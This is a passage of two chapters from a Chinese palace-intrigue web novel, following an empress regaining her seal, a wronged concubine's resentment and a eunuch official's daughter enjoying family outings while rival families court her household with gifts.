谁让魏国公给的太多了,让洪福帝很满意。介于此,洪福帝愿意再给皇后表妹一次改过的机会。 也不是头一回给昭阳宫的魏皇后机会。每一回皇后犯错,魏国公就会替女儿擦屁股。 洪福帝得了好处,面子难看,里子得足。 想一想,也便罢,天子跟皇后的日子也就是凑合着过下去。还能怎么办? 真的废皇后,洪福帝到如今还没有拿定主意。 或者说魏皇后的支持者里,像是魏国公这等识趣的在。 洪福帝还舍不得削掉。真是削掉,这等识趣的岳丈大人可不好寻到。 昭阳宫。 魏皇后心惶惶了几日。她被夺了宫权,可后宫的嫔妃们也没能协理宫务。 宫务让洪福帝差人在管着,万忠良就是经手人。 这等情况下,魏皇后还能忍着。反正不是头一回被拿走宫权。 可是代表了皇后的凤印被夺,对于魏皇后而言,这却是头一遭。 魏皇后想到那一日云美人小产,红色的血迹,一切一切还是落了魏皇后的心底。 魏皇后怕吗?嘴里讲不怕。心里还是忐忑不安的。 特别是母亲进宫,又是掰开了给皇后娘娘劝话。 魏皇后心里有鬼,她就更难安生。近几日,魏皇后食不香,寝难安。 这不,皇后整个人都是憔悴三分。等着万忠良亲自来送了凤印给昭阳宫皇后娘娘时。 瞧着脸色苍白的魏皇后,这是万忠良头一回见到如此弱气的魏皇后。 “请皇后娘娘接掌凤印。”万忠良双手捧着锦盒。 锦盒之内,一方凤印。此时,魏皇后本来不安稳的心神,在这一刻安定下来。 “谢陛下。”魏皇后双手捧过锦盒。尔后,她递给魏嬷嬷。 魏皇后又向泰和宫的方向行大礼,再度叩谢天子恩典。 这般规矩的魏皇后,万忠良真是头一回见。 往昔桀骜的魏皇后,如今的身段是软上三分。 在心头,万忠良把对魏皇后的警惕提高三分。 当然,转念一想。万忠良又想到是庆德长公主劝过魏皇后,这一位中宫皇后才是一百八十度的大转弯。 万忠良在心头无声呢喃,庆德长公主殿下利害,真能拿捏住皇后娘娘。 昭阳宫里,因着天子还了皇后的凤印。整座宫殿里,人人都欢喜着。 谁让宫里的宫人跟主 子命运相通。主子得宠,总能沾光。 一旦主子不得宠,不止做主子的被人踩。就是侍候主子的奴才,也要被人作贱的。 有好日子过,人人都会盼着好日子。昭阳宫的宫人们不例外,他们还是盼着中宫魏皇后得一个好。 魏皇后这儿开心了。 在坐小月子的云美人得宠。自然有人乐意向云美人献好。让云美人的消息灵通着。 本来用过一碗鸡汤,心里暖暖,心情不错的云美人在听着一等宫女的禀话后。 云美人脸色变了,她问道:“陛下真的还了凤印给昭阳宫的皇后?” 云美人不想相信这是真的。可打心眼儿,云美人知道,这八成为真。 想到这儿时,云美人伸手抚着自己的小腹。那里曾经孕育了一个孩子。可惜孩子没能保住。 云美人没家世,想争宠,那是豁出命的去争。梅花林间的一舞,云美人是压注了全部。 要知道,凭她的一舞,万一没让帝王瞧中。那么等着云美人的就是磋磨。 宫里的嫔妃们可不是吃素的,心大的宫女,一旦逾越了,又没有得着上头的庇护。死得痛快点,都叫一个好。 若不然的话,更可能被人磋磨的求生不能,求死不得。 “真的。”宫女回道:“奴婢又差人确认过,此事千真万确,错不了的。” “……”云美人听着宫女的话,她差一点是把一口牙咬碎掉。 问云美人此生最恨谁?除了魏皇后外,不做第二人选。 奈何尊卑有别,云美人被人害了,她连替自己孩子复仇的本事都没有。 “我知了。”云美人摆摆手,示意宫女退下。 大仇难报,云美人准备记下。她要等着,等着给魏皇后致命一击。如今吗? 既然天子不想罚皇后,云美人没法子。 云美人有今天的荣华富贵,全凭了天子的赏赐。她得喜天子所喜,恶天子所恶。想随心所欲,云美人不够格。 或者说在云美人起意夺圣宠,争圣心时,她就没有资格任性了。 “……”这会儿的云美人让人放下帐子。她一个人躲在帐子里哭一场。 哭过了,擦干泪,日子还得继续。云美人咽下万般苦楚,还要安慰自个,这一回陛下也是心疼她的。 好歹,她的亲爹被赐了爵。这便是帝王宠爱的表示。 如今她这一个小小美人在宫廷里有富贵享着,便是陛下的偏坦。 往后嘛,云美人更得努力争宠。她就想让天子更偏坦她一点。 来日方长,云美人相信滴水穿石。枕头风寻着机会吹一吹。 云美人就不信魏皇事是真佛,火炼不化,时光也磨灭不掉。 真佛?落云美人心底,这二字岂是魏皇后堪配的。 毒妇,那才是云美人对魏皇后的评价。当然这一个评价,云美人只敢在心里蛐蛐了。 洪福十六年,二月二,龙抬头。又是春暖花开时。 次日,二月三日。万忠良得了一日闲,归府一日。 于是早早有章程,就在一直等着亲爹有假期的万珍珠是开开心心的安排春游事宜。 一家三口出游,春日,踏春赏景。 牛二囡也高兴,难得一家人团聚。说是踏春,当然少不得去道观寺庙上香。 “若是名山大寺,又或者香火鼎盛的道观,我怕人太多,没得拥挤了。”万珍珠笑道:“爹,娘。你二位瞧,我早早的让人踩点了几处小道观,小寺庙。” “道观虽小,也有高人。寺庙不名,却有大师。”至于什么滥竽充数的,万珍珠肯定不满意。这不,能挑出来的道观寺庙,哪怕小小的,也是俱有特色的。 “你做主即可。”万忠良笑道:“早有话在先,我和你娘全听你安排。” “对,对。全听我儿安排。我和你爹也享一享你的清福。”牛二囡笑道。 “好,我就露一手,让爹娘瞧一瞧我的本事。”万珍珠夸一夸自己。 “你啊,跳脱了。”牛二囡轻轻摇摇头。 “人家这是真性情嘛。娘,在您二位跟前,我哪用掩饰什么。”万珍珠笑道。 在旁人跟前,还演一演,装一装啥的。在亲人跟前,万**打一个真实。 从浑江郡主府出发往郊外去。一家人坐着马车,虽是简装出行,应该安排的护卫还是安排上。 对于万珍珠而言,她就主打一个安全为上。 问仙观,离着镐京都有一点距离。这一座道观很小。 可观里的观主有名。或者说这一位观主在镐京都的附属县城与村镇之间,名声很好,又会医术。 真有医术,还有医德的人,万珍珠是敬佩的。 谁让对方踏实的实践,真是治病救人。对于穷人能免费就免费。 当然了,收富户贵人的香火钱时,问仙观的观主也是客客气气,请富户贵人给了符合身份的诊金。 说是宰客,那就泛泛。毕竟富户贵人就是吃药,也得用名贵的嘛。 既然名贵,那肯定要突出一个贵字。要不然,岂能显现出来富贵之人的格调与体面。 对于这一位问仙观的观主印象,那太符合万珍珠的善人标准。 万珍珠也乐意随手布施,顺心而为,给了香火钱,给谁不是给。给了问仙观,万珍珠给的心安理得,心满意足。 问仙观真的小,小小的三进院子。头两进,还是三清与祖师的庙堂。香火吗? 万珍珠与爹娘一起祈福上香时,瞧着真的不太旺盛。 “无量天尊。”白云子观主一派得道高仙的模样。 白胡须,发髻也是泛白。却是精神头很好。特别是一双眼睛,让人瞧着就是慈祥和蔼。 在问仙道观听了白云子念经祈福时,袅袅熏香,浸人心脾。让万珍珠得到一种安神宁静之感。 “人生三求,求上,求下,求满。”万忠良在听过白云子讲道经后,感慨一回。 “求上,前程祸福,汲汲一生。”万忠良觉得他这一辈子,为此奔波,为此拼搏。 “求下,侍死如生,盼后继有人,盼子孙有福。”万忠良讲这话时,他的目光又望一眼妻女。 若是没有妻女,万忠良又哪会有心思听什么道经。 听道经,那不止为自己听。万忠良在宫廷里当差,又哪敢真的修身养性。 做天子的刀,刀不利,不止害主人,更是害自己。 听一听道经,不过是万忠良在安抚了妻女的心。 就像是这一番的春日出游。偶得空闲,陪伴家人。 万忠良是享受温馨的亲情。同时,也是盼着让家人宽心,知道他好。 “世间事情,难得十全十美。咱,贪心了,贪一个圆满。无量天尊。”万忠良很坦荡,有话说话。 “居士有福,居士妻女有福。”白云子观主讲道:“求上得中,求中得下。居士求圆满,十得七八,如是安享福寿。” “无量天尊。”白云子亦是行一个道礼。 万珍珠听着亲爹和观主讲话,她静静的听着。 这般神态平和的亲爹,这般自在坦言的亲爹。 万珍珠瞧得出来,亲爹是放松的。比着在镐京都的城内时更放松。 人嘛,长久的在压力下生活,总要解一解压力的。 若不然的话,再是抗压,也怕被压久了,容易压垮掉。 对于万珍珠而言,亲爹不止是金大腿,亲爹还是亲爹。当女儿的从来盼爹娘好。 怎么说呢?都说有娘的孩儿是个宝。那有爹的孩儿自然是宝上宝。 可能有人的爹娘吧,那是差劲儿。但是万珍珠的一双爹娘,那真心的心疼她这一个亲闺女的。 如此,万珍珠当然是想做二十四孝女儿,不是“哄堂大孝”的孝。 而是真心孝顺,打从心眼儿里孝顺的好闺女。 在道观里,上香祈福,听经吃斋。再是捐了香火钱。尔后,由着白云子观主领路,给这三位富得流油的居士引路。 此时恰好,万珍珠一家人还是要登山一回。 登山,不止想登上山巅,一瞧山巅之美,一揽万物入怀。 而是登山的路途中,也是能赏了景,赏山林之景,享心中安宁。 山道间,尝一尝甘甜的泉水。山道间,摘几朵野花,摘几颗果子。 “爹娘,您二位尝尝。观主说,这是道观种的果子。”万珍珠捧着果子递给爹娘献宝。 万忠良接受了女儿的孝心,牛二囡也接受了女儿的孝心。 “这含桃甜。”万忠良尝一颗果子,他赞一回话道。 “确实甜。”牛二囡尝一颗,也是赞道。 至于真是果子甜,还是女儿的孝心让人甜滋滋。这就没必要分清楚。 甜嘛,甜味入心,让人开心即是美事。 此时的白云子观主还替万珍珠一家人讲解了含桃的种植旧事。 “山腰处的含桃树,俱种于山泉附近。此系问仙观的祖师所种。已三十余年。”白云子的眼中有回忆之色。 “老树结果,果子甜美。这树的种子好。”万忠良夸一回。 “爹爹喜爱啊。”万珍珠轻轻点头。 “观主,今有一事,小女相求。”万珍珠的目光落在白云子观主的身上。 “小居士请讲。”白云子眉间带着笑意的讲道。 “这含桃甚好呢,小女就想求两株移种。”万珍珠笑道。 “当然,不敢白白占了道观便宜。小女想再添一笔香油钱。此,也是小女借道观之力,多积赞一点福德。问仙观乐善好施,行医救人,美名远扬。小女是信道观的真善。”万珍珠把自己的用意讲清楚。 “善。”白云子没拒绝万珍珠的请求。 从山腰到山巅。等着万珍珠一行人到山巅时,山巅起风,春日的风拂面,不算太凉。 “一见群山白云遮,好似谪仙入梦来。” “那远远的,红色的,粉色的,不知道开的什么花,春日百花开,真是开的灿烂美好。”万珍珠指着远处的山,那山不高,却是花开甚美。 入眼之时,万珍珠忍不住的赞叹。 “若不攀了山巅上,真是瞧不见隐了群山之中的好景致。”万忠良也是感慨一回。 “花开的再美,还得结果子。果子酿酒不错,又是一份收入。”牛二囡感慨一回。 比起万珍珠父女赏景赏花开,牛二囡更想着小钱钱的事情。 白云子在旁边瞧着这一幕,他不多语,人不问,他不言。 “爹爹会笛,此时吹奏一曲,可好?”万珍珠问道。话罢,万珍珠还是拿了一根短笛递给亲爹。 “我来舞蹈,献给爹娘,献给群山美景。”万珍珠笑道。 万珍珠学过舞,当是锻炼身体。不止学过舞,还学过武。 虽然是这一辈子进镐京都以后初学的,奈何万珍珠有心思,真下了功夫。 此时献舞给爹娘,万珍珠是真心的。 至于白云子观主,落万珍珠眼中,他是得道高人。医人治人的好人。一位年过六旬的老观主,他观世间,已经超然。 万珍珠觉得让人欣赏了,指不定还可以点拔一下她的缺点呢。 “好。”万忠良不拒绝了女儿的提议。 这会儿在山巅的草地上,展开了一方布。 万忠良、牛二囡夫妻落坐。白云子观主落坐。 唯有万珍珠是拿着帕子捧上果子,她摆好在布匹上。尔后,万珍珠又向长辈行一礼。再是扬一扬裙角。 短笛声响,曲音悠扬。万珍珠踏着步伐,和了曲调,她跳了学会的古典舞。 这世道的舞,自然是古典的。至少落万珍珠的眼中,确实如此。 免不得又添了一些穿书前,在后世学会的一点舞姿。 只是借鉴,万珍珠就想跳得更好,更美。 春日风光,悬阳天上。暖暖的风,轻轻的吹。 牛二囡瞧着女儿的舞蹈很美,她的心也暖了。 牛二囡在想,来了镐京都真好。没信了杨嬷嬷的鬼话,真的很好。 如今在镐京都过的日子,那是让牛二囡在往昔想都不敢想。这像一场梦,若真是梦,牛二囡不想醒来。 “啪啪啪。” 一曲终了,一舞止步。白云子观主击赏赞赏。 春日,于万珍珠一家人而言,春日美好,不愧是一年之计在于春。 春日,对于从燕京都赶往镐京都和亲的淑阳公主而言,她遗憾多,愤怒更多。 正月被皇家赶出了燕京都,表面的理由再多,也是被人扫地出门。如此,让淑阳公主心里愤愤不平。 一旦离开燕京都后,和亲公主的队伍一路西行。 越是行远,淑阳公主就越是清楚,她没有回头路可走了。 越过了大赵朝的边疆,踏足了大晋朝的边疆。 在驿站里,淑阳公主接到燕京都的最新消息。 “皇祖父驾崩了。”淑阳公主不是悲伤,不是欣喜。她只是茫然。 和亲的队伍怎么办,她要给皇祖父守孝吗? 若是守孝,她能不能缓一缓和亲之事。淑阳公主的心里是念头翻转。 “殿下,赵统领求见。”赵济世求见公主。 淑阳公主隔着屏风,她见了赵济世这一位护卫统领。 “赵统领求见,又有何事?”淑阳公主开门见山的问道。 “臣刚得到燕京都的急信,此呈于殿下。”赵济世恭敬的呈上一封书信。 公主身边的陪嫁李嬷嬷走过去,拿了书信,又是呈到公主面前。 淑阳公主接过信,只略一读,她的脸色冷淡下来。 “本宫知了,赵统领退下吧。”淑阳公主摆摆手,淡漠的吩咐道。 “唯。”赵济世行一礼,尔后,告退离开。 把书信递上去,还是东边来的加急信。这信,赵济世真不想过一手。 奈何世子差人送来。其时吧,信,还真不是齐王世子李明弘写的。 而是用李明弘的名议差人送来的。上面盖的印戳是齐王的小印。 齐王,不,如今应该是新君。 想一想齐王登基,世子荣升为皇子。在这等时候,偏生赵济世远离燕京都。 赵济世的心里不爽利的很。可事情还得办,毕竟是大皇子李明弘交代的。 只是想到大皇子如今的身份变了,怕是身边少不了又有想攀附之辈。 等着再归燕京都,在大皇子跟前,他赵济世还有多少份量?赵济世很怀疑的。 人走茶凉是常态。萝卜不在,坑被抢了,更是常态。 权利旋涡里,饼就那么大,想争抢的人太多。人人都在卷,赵济世也想立争上游。他感慨啊,他太难了。 一时之间,燕京都回不去。 赵济世的目光望向镐京都。他想到了记忆里的浑江郡主。 一个让赵济世怦然心动的女子。可惜,如今的浑江郡主也是贵人。 赵济世区区一个大赵朝的武夫,不堪配,不敢想。 赵济世心中叹息一回。 只是越不想,离着镐京都越近时,赵济世免不得又会想一想。 特别是踏足了大晋朝的土地后,赵济世想到了浑江郡主一笑,似朗月一般皎洁,似春风一般暖心。 特别是那一低头,一抬头时的风采,真像是夏日的水莲花一般美好。 莲,出淤泥而不染,美而不妖。让赵济世琢磨着,他就觉得这等盛赞跟浑江郡主太符合了。 春日,万珍珠想酿酒。 在赵济世念叨着万珍珠的名字时,她还打了一个阿欠。 “谁在念叨我?”万珍珠怀疑,她是不是也被人记了小本本上。这才蛐蛐一番。 “我儿想酿酒,又是亲自摘花,又是亲自挑了好果子。眼下累了,这是嫌弃麻烦了?”牛二囡瞧着闺女停下手头的动作,她问一回话道。 “娘放心,我办事,指定不会三刻钟的热度。一定有头有尾,有始有终。”万珍珠握一握拳头,给自己加油鼓励。 那什么被人蛐蛐了,那就蛐蛐吧。万珍珠觉得自己坦坦荡荡,她不在乎。 反正一些小人行径,也只敢在背后蛐蛐她。当她面时,谁不是笑脸相迎。 人有地位,又有靠山,入目瞧着,万珍珠看谁都是捧一个笑脸相迎她。 唉呀,还是好人多嘛。甭管是不是装的,万珍珠就喜欢看笑脸。她可不想看什么哭丧脸,没得哭走了福气。 “成,你有恒心毅力,娘和你爹等你酿好了美酒。到时候可要好好尝尝。”牛二囡笑道。 “等往后,我儿抱女添子,还要酿了女儿红,给我的孙女埋了及笄酒、出嫁酒。”牛二囡想得更多更远。 ” ……“万珍珠本来想应了亲娘的话,想一想,闭嘴了。 亲娘催婚,亲娘催生,不是头一遭。若不是万珍珠说通了亲爹。 亲娘哪里是催婚催生,现在十成是压着她去相亲了。 一旦相亲,万珍珠又哪会有如今的快活日子。 “春日过,夏季来,珍珠,你生辰将近。可有想要的?”牛二囡又跟女儿问一问贴心话。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 宫廷选秀,对于刚拿回宫权的魏皇后而言,此乃她要办妥当的一件事情。 因着正月闹出来的祸事,魏皇后很想要努力一回。让天子表哥瞧一瞧她的能耐,以此,描补一二。 镐京都,城内繁华,热闹依旧。 关于大赵和亲公主的一行队伍入了京。不过,非常低调。 大赵朝的使节递了文书。同时,也是递上大赵朝的歉意。 淑阳公主虽是和亲公主,可人伦孝道。大赵换了一位天子。淑阳公主未正式出嫁,她得给皇祖父守孝。 这不,淑阳公主和亲的这一件事情便是半途而止。 皇宫,昭阳宫。 魏皇后在翻了秀女的名册。能入皇后法眼的,总归全有根脚。 瞧了许久,魏皇后眼乏了。她搁开手头的名册。 魏皇后说道:“嬷嬷,你给瞧着,那东边来的淑阳公主缓进宫,如此,倒是便宜这一遭入宫的新人。” “禀皇后娘娘,奴婢一点浅见,这宫廷里百花争艳也好过一枝独秀。”魏嬷嬷指一指云美人住的寝宫方向。 “那一位才是最应该着急的人。至于昭阳宫,安坐如松,心平静气,且瞧着她们斗法便是。”魏嬷嬷的态度一如既往。 能不办事,魏嬷嬷就不想干脏手的事。最好是动一动嘴皮子,让旁人替昭阳宫的魏皇后冲锋陷阵。 至于真是想收拾谁?魏嬷嬷更想等一等,缓一缓。 花无百日红,人无千日好。一旦宠妃失宠了,那时候拿着宫权的魏皇后想如何修理一番,就能够摆弄着修理一番。 赵修媛的前车之鉴搁那儿,多鲜活的例子。 可惜了,魏嬷嬷有定力,魏皇后的身上就太欠缺。 魏嬷嬷也无奈,她自己要辅佐的皇后娘娘定力不足。 魏嬷嬷只能是苦笑,搁心里的杂念开导自己。只有主子挑奴才的,没得奴才挑剔主子的道理。 能怎么办呢?魏嬷嬷跪着,那也得跪求了魏皇后的一辈子安康福寿,福泽绵绵。 一旦魏皇后这一位主子娘娘不好了,魏嬷嬷这一个顶锅的,她注定是逃不掉,躲不了。 “嬷嬷的话在理。”魏皇后让魏嬷嬷一劝,也觉得甚有道理。 前面母亲劝了太多,又有帝王发怒的旧例在。 魏皇后还是记一笔在心上。她不想再犯旧错。 因为洪福帝十六年正月元宵节出的事,庆德长公主还专门进宫给魏皇后说明了洪福帝会宽恕。那宽恕背后代表的是什么。 身为魏氏女,魏皇后享受家族恩养。爹娘疼爱,在娘家时要风得风,要雨得雨。 魏皇后跟娘家的亲人感情好。待听说她的举动是几次三番的连累家族后。 魏皇后为了家族,她也要收敛一二的脾气。 只能说吃过亏,被教训了,魏皇后也学会反省了。 “宫外有个朱氏女,宫内有个云美人。本宫且等一等,倒想瞧一瞧谁技高一筹。”魏皇后冷哼一声。 “至于大赵的和亲公主,她要守孝,暂时也不必考量。”对于魏皇后而言,她可盼着朱凤曦和云美人斗起来。 旧人新人,斗一斗法。魏皇后高兴,她对于什么宫廷姐姐妹妹一家亲,那是一点不感兴趣。 镐京都,内城,浑江郡主府。 万珍珠瞧着登门拜访的朱三姑娘,这一位是稀罕的客人。 “三姑娘来得不巧,母亲出去做客,倒不曾在府上。”万珍珠邀请朱凤曦留在花厅里吃茶。 此时,还是说一说亲娘不在府里。也免得让朱凤曦记挂了。 谁让朱凤曦登了浑江郡主府的大门,每一回来,只是牛二囡在,那一定要跟朱凤曦攀谈一二。 这二人谈话时,朱凤曦有意亲近。那让万珍珠瞧着这二人的热络。 真是不似母女,胜似母女。让万珍珠都要吃味了。太腻歪了,真够假的。 至少在万珍珠的心底,亲娘待朱凤曦有感情。 朱凤曦待亲娘有多少感情,在万珍珠的心底要打一个大大的问号。 当初一道进镐京都,朱凤曦的态度嘛,明明想攀上浑江郡主府的高枝。 偏生朱三姑娘又要拿捏一二,还是想抬一抬朱氏的体面。 那会儿从朱三姑娘的一双眼眸子里,万珍珠总能瞧到一股子藏在骨头缝儿里的傲慢。 现在呢?朱三姑娘在万珍珠跟前,笑脸相迎,全是说了讨巧的话。 瞧着讨巧却又是虚假几分。太假了,让万珍珠想装着分不清,也难啊。 “登门做客,打扰郡主。我就是带了一点礼物,一点心意。”朱凤曦笑道。 说是一点礼物,朱凤曦是用足了心思。她想讨好万家人。 甭管是万珍珠,还是牛二囡,朱凤曦是真的下足了功夫。 对于万珍珠而言,如今想给她送礼的人。那除了承恩公府外,就数着朱凤曦这一位三姑娘最殷勤。 旁人乐意送,问过亲爹可以收。万珍珠当然是收礼收到手软。 春日,于万珍珠而言,这是一个收获的时节。 春过,夏来。暑气炎炎时。镐京都,浑江郡主府。 万珍珠跟亲娘在议一议的她生辰小宴。 “应该大办一场。一年难得一回的生辰宴。若是不办,岂不委屈我儿。”牛二囡想劝了亲闺女。 对于女儿的生辰宴,那应该办一办的。 “年年岁岁,年年都有的生辰宴。今年,便是免了吧。”万珍珠不想办生辰宴。 “不能免。”牛二囡认真的讲道。 “娘,女儿的生辰,您的受难日。倒不如我们一家子坐一起,自家人吃吃喝喝,开开心心。与外人凑一堆,没得让女儿还头疼着。”万珍珠一直在劝话。 “可……”牛二囡瞧着女儿真心实意的,那没想着办生辰宴。至于大办特办,更甭多想。 牛二囡拧不过女儿的心思。没有法子,只要是真正心疼儿女的爹娘,又哪里倔强得过自家孩子。 自家的娃,自家心疼。 牛二囡瞧着女儿态度坚定,她倒是迟疑了。尔后,牛二囡说出来想举办生辰宴的原由。 “进了镐京都,府上虽然收下不少礼。可也就那么些的人家。”牛二囡扳着手指头一一的数起来。 “数来数去,人数单薄。”牛二囡真觉得自己收的礼少。 “人情往来,讲究一个有进有出。我儿,我们在镐京都里洒下去的人脉多,赠的也多。若不加倍的回本,我这心疼。”牛二囡真心疼。 小钱钱要飞走,对于爱财的牛二囡而言。不挣到就是亏。 如今倒好,有机会了,还不中用,只要想想。这不是让牛二囡心堵嘛。 “……”万珍珠差一点给咽着,感情亲娘想举办她的生辰宴,还想热热闹闹。 这十成是举一举她的牌子,再是亮一亮亲爹的牌子。更要加几倍的收回送出去的赠礼等等。 在心里头,万珍珠想给亲娘点赞。真得说说,论起合理抠门,还是亲娘利害。 瞧一瞧,这创收的态度,太诚恳了。 “娘,肉多不在包子皮上。”万珍珠自己“创造”美食包子。 虽然这创造二字,那要大大的打一个问号。 这世道里,也不是没有跟包子相似的吃食。可能就是在包子馅料上,那没有万珍珠这般的花样多。 此时,万珍珠提一提包子。她劝解道:“里子得了,面子,咱们不争。” “爹爹风光,还荫了女儿做郡主娘娘。浑江郡主府摆这,我们已经够富贵。还是不必太张扬了。”万珍珠劝一回亲娘。 主要是真办生辰宴,没得累一场。夏日多热啊。 万珍珠太想躲懒了,她遭不住热。 万珍珠左劝右劝,最 后还是劝动亲娘。那劳什子的生辰宴不大办了。 小办?那就一家三口吃吃喝喝。 夏日,吃着冰碗,又享受了凉爽一点点的滋味时,万珍珠的心情还成。 只是偶尔里,万珍珠也会转动自己的脑瓜子。 她挺意外的,大赵朝的和亲公主来了镐京都。如今又是居于内城,先守孝,待孝期结束,再入宫。 做为宫廷“内相”的亲闺女,万珍珠也是听几耳朵宫廷里的热闹。 万珍珠就知道的,云美人得宠,新入宫的朱充仪也得宠。 朱充仪,朱凤曦。这一位真正得宠。瞧一瞧,赵修媛是生了大皇子,那才得着嫔位的修媛。 而朱充仪呢,一入宫,便是晋位为一宫主位娘娘。 朱凤曦得宠了,万珍珠吃瓜的兴致大涨。 关于一些的小道消息,听一听,很热闹。让万珍珠吃饭都能更香的多用半碗。 三伏天,一年最热的时候。 万珍珠的生辰宴刚过。浑江郡主府又来客人。 再一次见到杨夫人,万珍珠“心平气和”。 她是装的。 瞧着杨夫人的气色不错,早不见往昔的病弱。 听着杨夫人讲话时的流畅。万珍珠心头明了,杨夫人这让皇家太医院给治好了。 心堵,瞧着治好病的杨夫人。万珍珠心堵的慌。 知道杨夫人过得好,万珍珠就不太好了。 “应该早登门拜访的。”杨夫人讲话时,还带一点歉意。 “不,不。”牛二囡此时回话,道:“充仪娘娘多次来府上做过客,一笔写不出两个朱字。再说,两家又有旧日情份在。真客客气气,便显生疏了。” 牛二囡是知道丈夫的态度。对于朱府众人,牛二囡是当稀客相处。 倒是对于宫里的朱充仪,牛二囡才是发自内心的担忧关切。 “这一位是充仪娘娘的嫂嫂,瞧着也是一个好的。朱府好福气,迎娶到这般好的新妇。”牛二囡又夸赞道。 对于牛二囡夸了儿媳,杨夫人还是开心的。 谁被捧一捧都高兴。可在心底,杨夫人对于大儿媳田静,还是颇不满意。 不满意就在于大儿媳守的孝期太多,活生生的把大儿子的婚事拖后,硬生生的拖成了这一个世道里的大龄男青年。 朱封成家晚,立业晚。这等关乎前程的事情,杨夫人这一位做母亲的很关切。 不止关心儿子前程,杨夫人也在意了抱一抱大胖孙。 田静这一个大儿媳没怀孕,没生下子嗣。在杨夫人的心里,这是千错万错里,最让人心烦的一错。 杨夫人想早一点抱上孙子。大儿媳“辜负”了婆母的期待。 “新妇进门,又太年青,倒底经不住太多夸。我这婆婆的瞧着她是眼皮子浅三分,做人做事还得教一教。”杨夫人自谦一回。 “依我说来,郡主才是贵人命数,处处妥帖。”杨夫人又是夸起万珍珠。 在杨夫人心里,她真感慨,她出事了,真的不吉利。 要是没出事的话,杨夫人有能耐说动牛二囡。 顶牛二囡冲在前,让万珍珠的身份有操作空间。 杨夫人是真心盼着儿女好,哪怕借了别人的光彩。 杨夫人不介意。反正在上位者眼中,抢人机缘不是错。 怎么说呢,德不配位,必有灾殃。 杨夫人没认为自己错在哪儿,她只会觉得的运数使然。 若不然,当初不会压不住万氏女。只如此,人家是飞上云宵。 杨夫人和朱氏一族再也压不住。于是旧路不通,再换新路,一改旧策,与人靠拢,多结人情。 似杨夫人这等有心人最知道,光暗交织,普天之下,阴影之下,自然是污垢横行。 端看有些人表面功夫做的好,有些人表面功夫做得差。 好的很好,差的太差。这下限嘛,灵活一点就是没下限。 商业吹捧归商业吹捧。杨夫人领着儿媳拜访浑江郡主府当然有用意。 用意简单,就是送礼。还不是一般送礼,而是送重礼。 等万珍珠瞧过杨夫人送礼的礼单子,她都是给惊住。 虽然亲爹早有话,让有礼来,全都收下。 可这等重礼收了,真的不是收贿赂吗?万珍珠都要怀疑。 这一日,杨夫人来做客,姿态也摆的低。 这般做派的杨夫人,牛二囡是头一回见。 待着杨婉芯和田静这一对婆媳离开后。 在浑江郡主府的花厅里。 牛二囡还在愣神。万珍珠忍不住问道:“娘在发呆,您在想什么事情啊,还这般入神了?” 万珍珠一问,倒让牛二囡回过神。 牛二囡讲道:“我就是头一回瞧着夫人在我的跟前是如此低三下四的求人办事。” “我不适应。”牛二囡心绪不平静着。 “这般样的夫人头一回见到,免不了被惊住。倒不是大事。”牛二囡的目光落在闺女身上。 瞧着如今养得金尊玉贵的闺女。明明时间很短的。 可闺女在永州朱府时又是什么模样?牛二囡回想,粗略一想,想不起来。 再一细想,有些事情一追忆了。牛二囡又觉得还是不回想的好。 毕竟在朱府旧事里,一定不包括了现在这般模样的闺女。 牛二囡很自得,她觉得她的闺女好,样样皆好。让人一瞧,那就知道一定是镐京都的名门淑媛模样。 虽然万珍珠这等“名门淑媛”,又有八成是装的。 可装样子的,只要扮演好,还是挺唬人的。 “世易时移罢了。”万珍珠安慰了亲娘。 “娘应该高兴。我们府上的日子越来越好。瞧我,我倒觉得让人求,总比求人好。”万珍珠有自己的歪理。 “对。”牛二囡也赞同。 “求人难。倒不如让人求了。”牛二囡觉得高高在上的俯视人,那等高高在上的滋味太好了。 反正让牛二囡尝过味儿,她喜不自胜。 牛二囡还巴不得有第二回,第三回,无数回。 又两日。万忠良休假。 夏日,万珍珠做了冰饮。一家人在花厅里吃些冰凉的果子冰碗。 那甜甜冰冰的味道,甚好。特别是加了人工打出来的奶油后。 让万珍珠讲,真是好吃,吃着太入味了。让舌头又是享受上一回。 “爹爹,前头日子。朱府的杨夫人登门。她可送了重礼。重重的礼。”万珍珠特意的讲一回这一桩事情。 不止讲一讲,万珍珠还特意把礼单子拿出来给亲爹瞧一瞧。 “礼太重,女儿瞧着烫手了。”万珍珠说出自己的真心想法。 “还有咱闺女怕的?”万忠良笑道。 “娘,您瞧一瞧。在爹心里,我成什么模样人?我敢胆大包天不成。”万珍珠撒娇一回。 牛二囡吃着冰碗,她心情好。又瞧着女儿的小儿女做派。 牛二囡笑一回。她挺开心。 万忠良拿着礼单子,他不急着翻开看。他只伸手,虚虚点一点女儿的额头。 “你跟你爹还打迷糊,做什么心眼子。”万忠良说道。 “在爹爹跟前,我可是老实人。”万珍珠给自己贴了标签。 “你,老实人?”万忠良瞧一瞧亲闺女。啧啧两声,讲道:“真不像。” “爹爹,您要说些中听了。可不能拿女儿打趣。不然,女儿要恼了。”万珍珠嗔怪一回。 这哪是恼了。明明是跟亲爹演戏,这是演出瘾来。 “哈哈哈……”万忠良畅快笑一回。 “你个逗趣的,倒是逗了咱和你娘笑一场。”万忠良笑得乐一回。 牛二囡在旁边也是乐一回,那扬起的唇嘴,如何也是压不下去。 “爹爹,女儿又哪里是逗趣。此,彩衣娱亲呢。”万珍珠给自己贴一贴金。 瞧着妻女笑得欢快。万忠良心情颇好。他打开朱府送来的送礼单子。 粗略一瞧,万忠良不再细看,他合上礼单子。 “爹爹看过,您给女儿说说,这礼,朱府送的合理吗?”万珍珠不止问。 她还自己给答案,回了,说道:“我瞧着礼重求于人,这求的事情肯定难办。” “若不求人,无事献殷勤,又太荒唐。 “没有意义的好,除了亲爹娘外。旁人给的,万珍珠不相信。 “朱府当然有事相求。”万忠良很镇定。 此时此刻,听着万忠良的话。万珍珠和亲娘一样的态度,那目光立马落亲爹身上。 万珍珠等着亲爹解惑。 “宫里的朱充仪有喜了。”万忠良讲一桩大事。 “爹爹,朱充仪春日选秀后入宫。这入宫的时间不长吧。”万珍珠讲道。 “区区两月半的时间。”万忠良回道。 “两月半……”万珍珠一琢磨,她小心的说道:“充仪娘娘的福气太大。入宫不久,怀上皇嗣。” 万珍珠真得感慨,朱凤曦的运道真好。只是这一份好运道,那能不能继续的维持下去。 这嘛,万珍珠是要大大的打一个问号。 “三姑娘,不,朱充仪娘娘怀上龙胎。这真是有本事。”牛二囡也惊讶。惊讶归惊讶,还是感慨朱充仪有福。 